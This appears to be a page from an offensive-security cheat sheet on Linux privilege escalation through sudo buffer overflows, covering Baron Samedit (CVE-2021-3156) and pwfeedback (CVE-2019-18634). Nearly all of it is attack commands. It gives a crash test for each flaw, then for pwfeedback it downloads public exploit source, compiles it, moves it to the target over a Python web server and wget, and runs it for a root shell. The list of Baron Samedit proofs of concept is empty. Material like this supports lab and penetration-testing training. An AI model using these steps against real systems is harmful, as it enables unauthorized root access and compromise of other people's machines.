> For the complete documentation index, see [llms.txt](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/buffer-overflow-privilege-escalation.md).
# Buffer Overflow Privilege Escalation
### [Baron Samedit (Heap Buffer Overflow) CVE-2021-3156](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#baron-samedit-\(heap-buffer-overflow\)-cve-2021-3156)
#### [1. Check Vulnerability to Overwrite Heap Buffer in Target Machine](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#1.-check-vulnerability-to-overwrite-heap-buffer-in-target-machine)
```sh
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
malloc(): invalid size (unsorted)
Aborted
Copied!
```
#### [2. Proof of Concept](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#2.-proof-of-concept)
There are various PoC online.
* .
*
### [Pwfeedback](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#pwfeedback)
#### [1. Check Enabling the Pwfeedback in /etc/sudoers](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#1.-check-enabling-the-pwfeedback-in-%2Fetc%2Fsudoers)
If so, when running sudo command and inputting password, asterisk will be displayed.\
You can make it the buffer overflow.
```sh
cat /etc/sudoers
# -------------------------------------------
...
Defaults pwfeadback
...
Copied!
```
#### [2. Input Long String to Password](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#2.-input-long-string-to-password)
```sh
perl -e 'print(("A" x 100 . "\x{00}") x 50)' | sudo -S id
# [sudo] password for tryhackme: Segmentation fault
Copied!
```
#### [3. Download a Payload and Compile in Local Machine](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#3.-download-a-payload-and-compile-in-local-machine)
```sh
wget https://raw.githubusercontent.com/saleemrashid/sudo-cve-2019-18634/master/exploit.c
gcc -o exploit exploit.c
Copied!
```
#### [4. Transfer the Payload to Remote Machine](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#4.-transfer-the-payload-to-remote-machine)
```sh
# In local machine
python3 -m http.server 8000
# In remote machine
wget http://:8000/exploit
Copied!
```
#### [5. Execute the Payload in Remote Machine](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/buffer-overflow-privilege-escalation/#5.-execute-the-payload-in-remote-machine)
After that, you'll get a root shell.
```sh
chmod 700 ./exploit
./exploit
```